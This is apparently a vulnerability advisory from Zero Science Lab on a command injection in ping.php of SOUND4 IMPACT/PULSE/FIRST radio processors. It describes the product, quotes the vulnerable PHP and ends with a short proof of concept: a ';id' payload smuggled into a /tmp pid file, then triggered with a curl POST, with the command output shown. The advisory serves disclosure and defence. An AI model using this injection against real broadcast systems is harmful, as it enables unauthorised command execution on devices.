SOUND4 IMPACT/FIRST/PULSE/Eco 2.x ping.php Command Injection

SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (ping.php) Conditional Command InjectionVendor: SOUND4 Ltd.Product web page: https://www.sound4.com | https://www.sound4.bizAffected version: FM/HD Radio Processing:                  Impact/Pulse/First (Version 2: 1.1/2.15)                  Impact/Pulse/First (Version 1: 2.1/1.69)                  Impact/Pulse Eco 1.16                  Voice Processing:                  BigVoice4 1.2                  BigVoice2 1.30                  Web-Audio Streaming:                  Stream 1.1/2.4.29                  Watermarking:                  WM2 (Kantar Media) 1.11Summary: The SOUND4 IMPACT introduces an innovative process - mono andstereo parts of the signal are processed separately to obtain perfectconsistency in terms of both sound and level. Therefore, in movingreception, when the FM receiver switches from stereo to mono and back tostereo, the sound variations and changes in level are reduced by over 90%.In the SOUND4 IMPACT processing chain, the stereo expander can be usedsubstantially without any limitations.With its advanced functionalities and impressive versatility, SOUND4PULSE gives clients the ultimate price - performance ratio, providingmuch more than just a processor. Flexible and powerful, it ensures perfectsound quality and full compatibility with radio broadcasting standardsand can be used simultaneously for FM and HD, DAB, DRM or streaming.SOUND4 FIRST provides all the most important functionalities you needin an FM/HD processor and sets the bar high both in terms of performanceand affordability. Designed to deliver a sound of uncompromising quality,this tool gives you 2-band processing, a digital stereo generator and anIMPACT Clipper.Desc: This vulnerability allows a local authenticated user to create afile in the /tmp directory that contains malicious commands. The filemust have the filename ending with .ping.pid, and the commands in thefile can only be executed once by an external unauthenticated attacker.By calling the vulnerable script and making a single HTTP POST request,the attacker can gain command execution on the system. After the requestis made, the file containing the malicious commands will be deleted.-------------------------------------------------------------------------/var/www/ping.php:------------------02:    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['ping_host']) && isset($_POST['networkid'])) {03:        $pidfilename="/tmp/" . $_POST['networkid'] . ".ping.pid";04:        if( file_exists($pidfilename)) {05:             $procid=file_get_contents($pidfilename);06:             shell_exec("pkill -P ".$procid);07:        }......29:            unlink($pidfilename);30:            exit();-------------------------------------------------------------------------Tested on: Apache/2.4.25 (Unix)           OpenSSL/1.0.2k           PHP/7.1.1           GNU/Linux 5.10.43 (armv7l)           GNU/Linux 4.9.228 (armv7l)Vulnerability discovered by Gjoko 'LiquidWorm' KrsticMacedonian Information Security Research and Development LaboratoryZero Science Lab - https://www.zeroscience.mk - @zeroscienceAdvisory ID: ZSL-2022-5735Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5735.php26.09.2022--#On the server> echo ";id>/var/www/b" > /tmp/251.ping.pid#External> curl -XPOST -sk https://RADIO/ping.php --data "ping_host=r00t&networkid=251"> curl -XPOST -sk https://RADIO/buid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)